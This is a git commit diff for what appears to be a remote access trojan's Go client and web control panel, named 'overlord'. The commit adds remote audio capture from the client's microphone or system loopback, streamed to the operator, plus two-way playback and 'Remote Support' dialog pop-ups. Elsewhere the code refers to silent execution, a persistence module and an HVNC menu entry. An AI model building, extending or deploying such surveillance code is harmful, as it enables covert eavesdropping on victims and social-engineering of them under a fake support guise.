remote voice receiving and talking
This commit is contained in:
KingKDot
@@ -0,0 +1,9 @@
|
||||
package audio
|
||||
|
||||
type Capabilities struct {
|
||||
Available bool `json:"available"`
|
||||
RequiresCGO bool `json:"requiresCgo"`
|
||||
Sources []string `json:"sources"`
|
||||
DefaultSource string `json:"defaultSource"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
@@ -0,0 +1,352 @@
|
||||
//go:build cgo
|
||||
|
||||
package audio
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/gen2brain/malgo"
|
||||
)
|
||||
|
||||
const (
|
||||
voiceSampleRate = 16000
|
||||
voiceChannels = 1
|
||||
voiceBytesPerSample = 2
|
||||
maxPlaybackBufferMillis = 250
|
||||
)
|
||||
|
||||
const maxPlaybackBufferBytes = (voiceSampleRate * voiceChannels * voiceBytesPerSample * maxPlaybackBufferMillis) / 1000
|
||||
|
||||
type playbackBuffer struct {
|
||||
mu sync.Mutex
|
||||
data []byte
|
||||
}
|
||||
|
||||
func (b *playbackBuffer) Push(p []byte) {
|
||||
if len(p) == 0 {
|
||||
return
|
||||
}
|
||||
copyBytes := append([]byte(nil), p...)
|
||||
b.mu.Lock()
|
||||
b.data = append(b.data, copyBytes...)
|
||||
if len(b.data) > maxPlaybackBufferBytes {
|
||||
b.data = b.data[len(b.data)-maxPlaybackBufferBytes:]
|
||||
}
|
||||
b.mu.Unlock()
|
||||
}
|
||||
|
||||
func (b *playbackBuffer) PopInto(out []byte) {
|
||||
if len(out) == 0 {
|
||||
return
|
||||
}
|
||||
for i := range out {
|
||||
out[i] = 0
|
||||
}
|
||||
b.mu.Lock()
|
||||
n := copy(out, b.data)
|
||||
if n > 0 {
|
||||
b.data = b.data[n:]
|
||||
}
|
||||
b.mu.Unlock()
|
||||
}
|
||||
|
||||
type Session struct {
|
||||
ctx context.Context
|
||||
cancel context.CancelFunc
|
||||
audioCtx *malgo.AllocatedContext
|
||||
capture *malgo.Device
|
||||
playback *malgo.Device
|
||||
|
||||
uplink chan []byte
|
||||
queue *playbackBuffer
|
||||
|
||||
wg sync.WaitGroup
|
||||
closeMu sync.Mutex
|
||||
isClosed bool
|
||||
}
|
||||
|
||||
func ProbeCapabilities() Capabilities {
|
||||
ctx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil)
|
||||
if err != nil {
|
||||
return Capabilities{
|
||||
Available: false,
|
||||
RequiresCGO: true,
|
||||
Sources: []string{"default"},
|
||||
Detail: "audio backend init failed",
|
||||
}
|
||||
}
|
||||
defer ctx.Free()
|
||||
|
||||
caps := Capabilities{
|
||||
Available: true,
|
||||
RequiresCGO: true,
|
||||
Sources: []string{"default"},
|
||||
DefaultSource: "default",
|
||||
}
|
||||
|
||||
for _, name := range listCaptureDeviceNames(ctx.Context) {
|
||||
caps.Sources = append(caps.Sources, "device:"+name)
|
||||
}
|
||||
return caps
|
||||
}
|
||||
|
||||
func listCaptureDeviceNames(ctx malgo.Context) []string {
|
||||
devices, err := ctx.Devices(malgo.Capture)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
seen := map[string]bool{}
|
||||
out := make([]string, 0, len(devices))
|
||||
for i := range devices {
|
||||
name := strings.TrimSpace(devices[i].Name())
|
||||
if name == "" {
|
||||
continue
|
||||
}
|
||||
key := strings.ToLower(name)
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
out = append(out, name)
|
||||
}
|
||||
|
||||
sort.Slice(out, func(i, j int) bool {
|
||||
return strings.ToLower(out[i]) < strings.ToLower(out[j])
|
||||
})
|
||||
return out
|
||||
}
|
||||
|
||||
func findCaptureDeviceByName(ctx malgo.Context, wanted string) (*malgo.DeviceID, string, bool) {
|
||||
wanted = strings.TrimSpace(wanted)
|
||||
if wanted == "" {
|
||||
return nil, "", false
|
||||
}
|
||||
|
||||
devices, err := ctx.Devices(malgo.Capture)
|
||||
if err != nil {
|
||||
return nil, "", false
|
||||
}
|
||||
|
||||
for i := range devices {
|
||||
name := strings.TrimSpace(devices[i].Name())
|
||||
if strings.EqualFold(name, wanted) {
|
||||
id := devices[i].ID
|
||||
return &id, name, true
|
||||
}
|
||||
}
|
||||
|
||||
return nil, "", false
|
||||
}
|
||||
|
||||
func findSystemCaptureDevice(ctx malgo.Context) (*malgo.DeviceID, string, bool) {
|
||||
devices, err := ctx.Devices(malgo.Capture)
|
||||
if err != nil {
|
||||
return nil, "", false
|
||||
}
|
||||
|
||||
keywords := []string{
|
||||
"stereo mix",
|
||||
"what u hear",
|
||||
"monitor",
|
||||
"loopback",
|
||||
"output",
|
||||
"speakers",
|
||||
}
|
||||
|
||||
for i := range devices {
|
||||
name := strings.ToLower(devices[i].Name())
|
||||
for _, keyword := range keywords {
|
||||
if strings.Contains(name, keyword) {
|
||||
id := devices[i].ID
|
||||
return &id, devices[i].Name(), true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil, "", false
|
||||
}
|
||||
|
||||
func StartVoiceSession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) {
|
||||
if onCapture == nil {
|
||||
return nil, errors.New("voice capture callback is required")
|
||||
}
|
||||
source = strings.TrimSpace(source)
|
||||
|
||||
audioCtx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("audio init failed: %w", err)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithCancel(parent)
|
||||
s := &Session{
|
||||
ctx: ctx,
|
||||
cancel: cancel,
|
||||
audioCtx: audioCtx,
|
||||
uplink: make(chan []byte, 24),
|
||||
queue: &playbackBuffer{},
|
||||
}
|
||||
|
||||
playCfg := malgo.DefaultDeviceConfig(malgo.Playback)
|
||||
playCfg.SampleRate = voiceSampleRate
|
||||
playCfg.Playback.Format = malgo.FormatS16
|
||||
playCfg.Playback.Channels = voiceChannels
|
||||
|
||||
playCallbacks := malgo.DeviceCallbacks{
|
||||
Data: func(output, _ []byte, _ uint32) {
|
||||
s.queue.PopInto(output)
|
||||
},
|
||||
}
|
||||
playDev, err := malgo.InitDevice(audioCtx.Context, playCfg, playCallbacks)
|
||||
if err != nil {
|
||||
audioCtx.Free()
|
||||
cancel()
|
||||
return nil, fmt.Errorf("audio playback init failed: %w", err)
|
||||
}
|
||||
s.playback = playDev
|
||||
|
||||
capCfg := malgo.DefaultDeviceConfig(malgo.Capture)
|
||||
capCfg.SampleRate = voiceSampleRate
|
||||
capCfg.Capture.Format = malgo.FormatS16
|
||||
capCfg.Capture.Channels = voiceChannels
|
||||
if strings.EqualFold(source, "system") {
|
||||
deviceID, deviceName, ok := findSystemCaptureDevice(audioCtx.Context)
|
||||
if !ok || deviceID == nil {
|
||||
s.playback.Stop()
|
||||
s.playback.Uninit()
|
||||
audioCtx.Free()
|
||||
cancel()
|
||||
return nil, errors.New("system audio capture device was not found on this client")
|
||||
}
|
||||
_ = deviceName
|
||||
capCfg.Capture.DeviceID = deviceID.Pointer()
|
||||
} else if strings.HasPrefix(strings.ToLower(source), "device:") {
|
||||
deviceName := strings.TrimSpace(source[len("device:"):])
|
||||
deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, deviceName)
|
||||
if !ok || deviceID == nil {
|
||||
s.playback.Stop()
|
||||
s.playback.Uninit()
|
||||
audioCtx.Free()
|
||||
cancel()
|
||||
return nil, fmt.Errorf("audio capture device was not found: %s", deviceName)
|
||||
}
|
||||
capCfg.Capture.DeviceID = deviceID.Pointer()
|
||||
} else if source != "" && !strings.EqualFold(source, "default") && !strings.EqualFold(source, "microphone") {
|
||||
deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, source)
|
||||
if !ok || deviceID == nil {
|
||||
s.playback.Stop()
|
||||
s.playback.Uninit()
|
||||
audioCtx.Free()
|
||||
cancel()
|
||||
return nil, fmt.Errorf("audio capture device was not found: %s", source)
|
||||
}
|
||||
capCfg.Capture.DeviceID = deviceID.Pointer()
|
||||
}
|
||||
|
||||
capCallbacks := malgo.DeviceCallbacks{
|
||||
Data: func(_, input []byte, _ uint32) {
|
||||
if len(input) == 0 {
|
||||
return
|
||||
}
|
||||
chunk := append([]byte(nil), input...)
|
||||
select {
|
||||
case s.uplink <- chunk:
|
||||
default:
|
||||
// Drop oldest when overloaded to keep latency bounded.
|
||||
select {
|
||||
case <-s.uplink:
|
||||
default:
|
||||
}
|
||||
select {
|
||||
case s.uplink <- chunk:
|
||||
default:
|
||||
}
|
||||
}
|
||||
},
|
||||
}
|
||||
capDev, err := malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks)
|
||||
if err != nil {
|
||||
playDev.Uninit()
|
||||
audioCtx.Free()
|
||||
cancel()
|
||||
return nil, fmt.Errorf("audio capture init failed: %w", err)
|
||||
}
|
||||
s.capture = capDev
|
||||
|
||||
if err := playDev.Start(); err != nil {
|
||||
s.capture.Uninit()
|
||||
s.playback.Uninit()
|
||||
audioCtx.Free()
|
||||
cancel()
|
||||
return nil, fmt.Errorf("audio playback start failed: %w", err)
|
||||
}
|
||||
if err := capDev.Start(); err != nil {
|
||||
s.playback.Stop()
|
||||
s.capture.Uninit()
|
||||
s.playback.Uninit()
|
||||
audioCtx.Free()
|
||||
cancel()
|
||||
return nil, fmt.Errorf("audio capture start failed: %w", err)
|
||||
}
|
||||
|
||||
s.wg.Add(1)
|
||||
go func() {
|
||||
defer s.wg.Done()
|
||||
for {
|
||||
select {
|
||||
case <-s.ctx.Done():
|
||||
return
|
||||
case chunk := <-s.uplink:
|
||||
onCapture(chunk)
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
return s, nil
|
||||
}
|
||||
|
||||
func (s *Session) WritePlayback(data []byte) error {
|
||||
if len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
s.closeMu.Lock()
|
||||
closed := s.isClosed
|
||||
s.closeMu.Unlock()
|
||||
if closed {
|
||||
return errors.New("voice session is closed")
|
||||
}
|
||||
s.queue.Push(data)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *Session) Close() error {
|
||||
s.closeMu.Lock()
|
||||
if s.isClosed {
|
||||
s.closeMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
s.isClosed = true
|
||||
s.closeMu.Unlock()
|
||||
|
||||
s.cancel()
|
||||
|
||||
if s.capture != nil {
|
||||
_ = s.capture.Stop()
|
||||
s.capture.Uninit()
|
||||
}
|
||||
if s.playback != nil {
|
||||
_ = s.playback.Stop()
|
||||
s.playback.Uninit()
|
||||
}
|
||||
if s.audioCtx != nil {
|
||||
s.audioCtx.Free()
|
||||
}
|
||||
|
||||
s.wg.Wait()
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
//go:build !cgo
|
||||
|
||||
package audio
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
)
|
||||
|
||||
type Session struct{}
|
||||
|
||||
func ProbeCapabilities() Capabilities {
|
||||
return Capabilities{
|
||||
Available: false,
|
||||
RequiresCGO: true,
|
||||
Sources: []string{"default"},
|
||||
DefaultSource: "default",
|
||||
Detail: "native voice support requires a CGO-enabled build",
|
||||
}
|
||||
}
|
||||
|
||||
func StartVoiceSession(_ context.Context, _ string, _ func([]byte)) (*Session, error) {
|
||||
return nil, errors.New("native voice support requires a CGO-enabled build")
|
||||
}
|
||||
|
||||
func (s *Session) WritePlayback(_ []byte) error {
|
||||
return errors.New("voice session is unavailable")
|
||||
}
|
||||
|
||||
func (s *Session) Close() error {
|
||||
return nil
|
||||
}
|
||||
@@ -2,15 +2,19 @@ package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
goruntime "runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"overlord-client/cmd/agent/audio"
|
||||
"overlord-client/cmd/agent/capture"
|
||||
"overlord-client/cmd/agent/console"
|
||||
"overlord-client/cmd/agent/persistence"
|
||||
@@ -24,8 +28,16 @@ var ErrReconnect = errors.New("reconnect requested")
|
||||
var (
|
||||
activeCommands = make(map[string]context.CancelFunc)
|
||||
activeCommandsMu sync.Mutex
|
||||
voiceSessionMu sync.Mutex
|
||||
voiceSession *voiceRuntime
|
||||
)
|
||||
|
||||
type voiceRuntime struct {
|
||||
sessionID string
|
||||
cancel context.CancelFunc
|
||||
session *audio.Session
|
||||
}
|
||||
|
||||
func cancelAllCommands() {
|
||||
activeCommandsMu.Lock()
|
||||
defer activeCommandsMu.Unlock()
|
||||
@@ -74,6 +86,8 @@ func resetForReconnect(env *runtime.Env) {
|
||||
env.Console.StopAll()
|
||||
}
|
||||
|
||||
stopVoiceSession()
|
||||
|
||||
env.NotificationMu.Lock()
|
||||
env.NotificationKeywords = nil
|
||||
env.NotificationMinIntervalMs = 0
|
||||
@@ -250,6 +264,171 @@ func payloadNumberToInt64(value interface{}) int64 {
|
||||
}
|
||||
}
|
||||
|
||||
func stopVoiceSession() {
|
||||
voiceSessionMu.Lock()
|
||||
v := voiceSession
|
||||
voiceSession = nil
|
||||
voiceSessionMu.Unlock()
|
||||
if v == nil {
|
||||
return
|
||||
}
|
||||
if v.cancel != nil {
|
||||
v.cancel()
|
||||
}
|
||||
if v.session != nil {
|
||||
_ = v.session.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func startVoiceSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error {
|
||||
if sessionID == "" {
|
||||
return errors.New("missing voice session id")
|
||||
}
|
||||
|
||||
stopVoiceSession()
|
||||
|
||||
vCtx, cancel := context.WithCancel(ctx)
|
||||
session, err := audio.StartVoiceSession(vCtx, source, func(chunk []byte) {
|
||||
if len(chunk) == 0 {
|
||||
return
|
||||
}
|
||||
msg := map[string]interface{}{
|
||||
"type": "voice_uplink",
|
||||
"sessionId": sessionID,
|
||||
"data": chunk,
|
||||
}
|
||||
_ = wire.WriteMsg(vCtx, env.Conn, msg)
|
||||
})
|
||||
if err != nil {
|
||||
cancel()
|
||||
return err
|
||||
}
|
||||
|
||||
v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session}
|
||||
voiceSessionMu.Lock()
|
||||
voiceSession = v
|
||||
voiceSessionMu.Unlock()
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func writeVoiceDownlink(data []byte) error {
|
||||
voiceSessionMu.Lock()
|
||||
v := voiceSession
|
||||
voiceSessionMu.Unlock()
|
||||
if v == nil || len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
if v.session == nil {
|
||||
return errors.New("voice session not ready")
|
||||
}
|
||||
if err := v.session.WritePlayback(data); err != nil {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func showSupportChatDialog(message, operator string, requireReply bool) (string, error) {
|
||||
msg := strings.TrimSpace(message)
|
||||
if msg == "" {
|
||||
return "", errors.New("missing support message")
|
||||
}
|
||||
title := "Remote Support"
|
||||
if operator = strings.TrimSpace(operator); operator != "" {
|
||||
title = fmt.Sprintf("Remote Support - %s", operator)
|
||||
}
|
||||
|
||||
switch goruntime.GOOS {
|
||||
case "windows":
|
||||
return showSupportChatWindows(msg, title, requireReply)
|
||||
case "darwin":
|
||||
return showSupportChatDarwin(msg, title, requireReply)
|
||||
case "linux":
|
||||
return showSupportChatLinux(msg, title, requireReply)
|
||||
default:
|
||||
return "", fmt.Errorf("support chat is not supported on %s", goruntime.GOOS)
|
||||
}
|
||||
}
|
||||
|
||||
func showSupportChatWindows(message, title string, requireReply bool) (string, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
|
||||
defer cancel()
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if requireReply {
|
||||
script := `[void][Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic'); $resp=[Microsoft.VisualBasic.Interaction]::InputBox($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,''); Write-Output $resp`
|
||||
cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script)
|
||||
} else {
|
||||
script := `Add-Type -AssemblyName PresentationFramework; [void][System.Windows.MessageBox]::Show($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,[System.Windows.MessageBoxButton]::OK,[System.Windows.MessageBoxImage]::Information)`
|
||||
cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script)
|
||||
}
|
||||
cmd.Env = append(os.Environ(),
|
||||
"OVERLORD_SUPPORT_MESSAGE="+message,
|
||||
"OVERLORD_SUPPORT_TITLE="+title,
|
||||
)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("windows support dialog failed: %w", err)
|
||||
}
|
||||
if !requireReply {
|
||||
return "", nil
|
||||
}
|
||||
return strings.TrimSpace(string(out)), nil
|
||||
}
|
||||
|
||||
func showSupportChatDarwin(message, title string, requireReply bool) (string, error) {
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
|
||||
defer cancel()
|
||||
|
||||
esc := func(s string) string {
|
||||
s = strings.ReplaceAll(s, `\\`, `\\\\`)
|
||||
s = strings.ReplaceAll(s, `"`, `\\"`)
|
||||
return s
|
||||
}
|
||||
msg := esc(message)
|
||||
ttl := esc(title)
|
||||
|
||||
var script string
|
||||
if requireReply {
|
||||
script = fmt.Sprintf(`text returned of (display dialog "%s" with title "%s" default answer "" buttons {"Send"} default button "Send")`, msg, ttl)
|
||||
} else {
|
||||
script = fmt.Sprintf(`display dialog "%s" with title "%s" buttons {"OK"} default button "OK"`, msg, ttl)
|
||||
}
|
||||
|
||||
out, err := exec.CommandContext(ctx, "osascript", "-e", script).CombinedOutput()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("macOS support dialog failed: %w", err)
|
||||
}
|
||||
if !requireReply {
|
||||
return "", nil
|
||||
}
|
||||
return strings.TrimSpace(string(out)), nil
|
||||
}
|
||||
|
||||
func showSupportChatLinux(message, title string, requireReply bool) (string, error) {
|
||||
if _, err := exec.LookPath("zenity"); err != nil {
|
||||
return "", errors.New("zenity is required for support chat on Linux")
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
|
||||
defer cancel()
|
||||
|
||||
if requireReply {
|
||||
cmd := exec.CommandContext(ctx, "zenity", "--entry", "--title", title, "--text", message)
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("linux support input failed: %w", err)
|
||||
}
|
||||
return strings.TrimSpace(string(out)), nil
|
||||
}
|
||||
|
||||
cmd := exec.CommandContext(ctx, "zenity", "--info", "--title", title, "--text", message)
|
||||
if _, err := cmd.CombinedOutput(); err != nil {
|
||||
return "", fmt.Errorf("linux support message failed: %w", err)
|
||||
}
|
||||
return "", nil
|
||||
}
|
||||
|
||||
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
|
||||
cmdID, _ := envelope["id"].(string)
|
||||
action, _ := envelope["commandType"].(string)
|
||||
@@ -1116,6 +1295,36 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
_ = sessionID
|
||||
console.Resize(sessionID, cols, rows)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||
case "voice_session_start":
|
||||
sessionID, _ := envelopePayloadString(envelope, "sessionId")
|
||||
source := "default"
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload != nil {
|
||||
if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" {
|
||||
source = strings.TrimSpace(v)
|
||||
}
|
||||
}
|
||||
if err := startVoiceSession(ctx, env, sessionID, source); err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||
case "voice_session_stop":
|
||||
stopVoiceSession()
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||
case "voice_downlink":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
|
||||
}
|
||||
data, _ := payload["data"].([]byte)
|
||||
if err := writeVoiceDownlink(data); err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||
case "voice_capabilities":
|
||||
caps := audio.ProbeCapabilities()
|
||||
payload, _ := json.Marshal(caps)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
|
||||
}
|
||||
|
||||
switch action {
|
||||
@@ -1270,6 +1479,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
scriptType = "powershell"
|
||||
}
|
||||
return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
|
||||
case "support_chat":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
message, _ := payload["message"].(string)
|
||||
operator, _ := payload["operator"].(string)
|
||||
requireReply := true
|
||||
if payload != nil {
|
||||
if v, ok := payload["requireReply"].(bool); ok {
|
||||
requireReply = v
|
||||
}
|
||||
}
|
||||
reply, err := showSupportChatDialog(message, operator, requireReply)
|
||||
if err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||
}
|
||||
if requireReply {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: strings.TrimSpace(reply)})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: "delivered"})
|
||||
case "silent_exec":
|
||||
payload, _ := envelope["payload"].(map[string]interface{})
|
||||
if payload == nil {
|
||||
|
||||
@@ -12,7 +12,10 @@ require (
|
||||
nhooyr.io/websocket v1.8.10
|
||||
)
|
||||
|
||||
require golang.org/x/sys v0.24.0
|
||||
require (
|
||||
github.com/gen2brain/malgo v0.11.24
|
||||
golang.org/x/sys v0.24.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/gen2brain/shm v0.1.0 // indirect
|
||||
|
||||
@@ -2,6 +2,8 @@ github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
|
||||
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
|
||||
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/gen2brain/malgo v0.11.24 h1:hHcIJVfzWcEDHFdPl5Dl/CUSOjzOleY0zzAV8Kx+imE=
|
||||
github.com/gen2brain/malgo v0.11.24/go.mod h1:f9TtuN7DVrXMiV/yIceMeWpvanyVzJQMlBecJFVMxww=
|
||||
github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY=
|
||||
github.com/gen2brain/shm v0.1.0/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
|
||||
github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU=
|
||||
|
||||
@@ -122,6 +122,51 @@ export async function sendCommand(clientId, action) {
|
||||
}
|
||||
}
|
||||
|
||||
export async function sendSupportChat(clientId, message, requireReply = true) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "support_chat", message, requireReply }),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) {
|
||||
return {
|
||||
ok: false,
|
||||
error: data?.error || `support chat failed ${res.status}`,
|
||||
response: "",
|
||||
};
|
||||
}
|
||||
return {
|
||||
ok: Boolean(data?.ok),
|
||||
error: data?.error || "",
|
||||
response: typeof data?.response === "string" ? data.response : "",
|
||||
};
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
return { ok: false, error: "Support chat request failed", response: "" };
|
||||
}
|
||||
}
|
||||
|
||||
export async function fetchVoiceCapabilities(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "voice_capabilities" }),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
return {
|
||||
ok: Boolean(data?.ok),
|
||||
capabilities: data?.capabilities || null,
|
||||
error: data?.error || (res.ok ? "" : `voice capabilities failed ${res.status}`),
|
||||
};
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
return { ok: false, capabilities: null, error: "Voice capability probe failed" };
|
||||
}
|
||||
}
|
||||
|
||||
export async function requestPreview(clientId) {
|
||||
const ok = await sendCommand(clientId, "screenshot");
|
||||
if (ok) {
|
||||
|
||||
@@ -637,6 +637,12 @@ menu.addEventListener("click", async (e) => {
|
||||
}
|
||||
const action = target.dataset.action;
|
||||
|
||||
if (open === "voice") {
|
||||
window.open(`/voice?clientId=${contextCard}`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === "uninstall") {
|
||||
if (
|
||||
!confirm(
|
||||
|
||||
@@ -5,6 +5,7 @@ menu.className =
|
||||
menu.style.maxHeight = "min(70vh, 520px)";
|
||||
menu.innerHTML = `
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/50 hover:bg-emerald-800/70 text-emerald-100 flex items-center gap-2" data-open="console"><i class="fa-solid fa-terminal"></i> Open Console</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-teal-800 bg-teal-900/45 hover:bg-teal-800/65 text-teal-100 flex items-center gap-2" data-open="voice"><i class="fa-solid fa-headset"></i> Voice Support</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-purple-800 bg-purple-900/50 hover:bg-purple-800/70 text-purple-100 flex items-center gap-2" data-open="remotedesktop"><i class="fa-solid fa-desktop"></i> Remote Desktop</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-violet-800 bg-violet-900/50 hover:bg-violet-800/70 text-violet-100 flex items-center gap-2" data-open="hvnc"><i class="fa-solid fa-ghost"></i> HVNC</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-blue-800 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2" data-open="files"><i class="fa-solid fa-folder-tree"></i> File Browser</button>
|
||||
|
||||
@@ -0,0 +1,473 @@
|
||||
import { fetchVoiceCapabilities } from "./data.js";
|
||||
|
||||
const params = new URLSearchParams(window.location.search);
|
||||
const clientId = params.get("clientId") || "";
|
||||
|
||||
if (!clientId) {
|
||||
alert("Missing clientId");
|
||||
throw new Error("Missing clientId");
|
||||
}
|
||||
|
||||
const connectBtn = document.getElementById("connect-btn");
|
||||
const disconnectBtn = document.getElementById("disconnect-btn");
|
||||
const statusPill = document.getElementById("status-pill");
|
||||
const localWaveCanvas = document.getElementById("local-wave");
|
||||
const remoteWaveCanvas = document.getElementById("remote-wave");
|
||||
const sourceSelect = document.getElementById("source-select");
|
||||
const muteSelfBtn = document.getElementById("mute-self-btn");
|
||||
const muteRemoteBtn = document.getElementById("mute-remote-btn");
|
||||
|
||||
let ws = null;
|
||||
let mediaStream = null;
|
||||
let sourceNode = null;
|
||||
let processorNode = null;
|
||||
let captureAudioCtx = null;
|
||||
let playAudioCtx = null;
|
||||
let playProcessorNode = null;
|
||||
let selfMuted = true;
|
||||
let remoteMuted = true;
|
||||
let playbackChunks = [];
|
||||
let playbackChunkReadOffset = 0;
|
||||
let levelLoopRunning = false;
|
||||
const WAVE_SIZE = 2048;
|
||||
const WAVE_VISUAL_GAIN = 1.8;
|
||||
const CAPTURE_FRAME_SIZE = 512;
|
||||
const PLAYBACK_FRAME_SIZE = 512;
|
||||
const MAX_PLAYBACK_BUFFER_MS = 120;
|
||||
const localWaveBuffer = new Float32Array(WAVE_SIZE);
|
||||
const remoteWaveBuffer = new Float32Array(WAVE_SIZE);
|
||||
let localWaveWrite = 0;
|
||||
let remoteWaveWrite = 0;
|
||||
|
||||
const UPLINK_SAMPLE_RATE = 16000;
|
||||
|
||||
function sourceLabel(source) {
|
||||
if (source === "default" || source === "microphone") {
|
||||
return "Default Input";
|
||||
}
|
||||
if (source === "system") {
|
||||
return "System Audio";
|
||||
}
|
||||
if (typeof source === "string" && source.startsWith("device:")) {
